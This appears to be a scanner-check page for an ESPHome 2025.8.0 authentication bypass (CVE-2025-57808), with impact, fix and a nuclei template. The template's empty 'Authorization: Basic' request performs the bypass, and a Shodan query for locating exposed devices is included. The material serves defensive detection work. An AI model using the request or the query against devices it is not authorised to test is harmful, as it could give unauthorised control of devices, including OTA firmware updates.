ESPHome - Authentication Bypass

highseverity

1.5%likelihood of exploitation, next 30 days

75%of all CVEs are less likely

Readycheck to confirm it

ESPHome 2025.8.0 contains an authentication bypass caused by improper validation of base64-encoded Authorization values in the web_server component, letting attackers access functionality without valid credentials, exploit requires crafted Authorization header.

Impact

Attackers can bypass authentication to access web server functions, including OTA updates, potentially compromising device control.

Fix

Upgrade to version 2025.8.1 or later.

How to confirm it

Send: GET {{BaseURL}}
Positive when: status_code == 401
Send: GET {{BaseURL}}/
Positive when: status_code == 200 and contains(body, "Dashboard - ESPHome")

Run it with nuclei: nuclei -id CVE-2025-57808 -u <target>

The full check

id: CVE-2025-57808

info:
  name: ESPHome - Authentication Bypass
  author: sean-kim
  severity: high
  description: |
    ESPHome 2025.8.0 contains an authentication bypass caused by improper validation of base64-encoded Authorization values in the web_server component, letting attackers access functionality without valid credentials, exploit requires crafted Authorization header.
  impact: |
    Attackers can bypass authentication to access web server functions, including OTA updates, potentially compromising device control.
  remediation: |
    Upgrade to version 2025.8.1 or later.
  reference:
    - https://cybersecuritynews.com/esphome-web-server-authentication-bypass/
    - https://github.com/esphome/esphome/security/advisories/GHSA-mxh2-ccgj-8635
    - https://esphome.io/components/web_server/
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"ESPHome"
  tags: cve,cve2025,auth-bypass,esphome,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/"
    headers:
      Authorization: Basic

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Dashboard - ESPHome")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from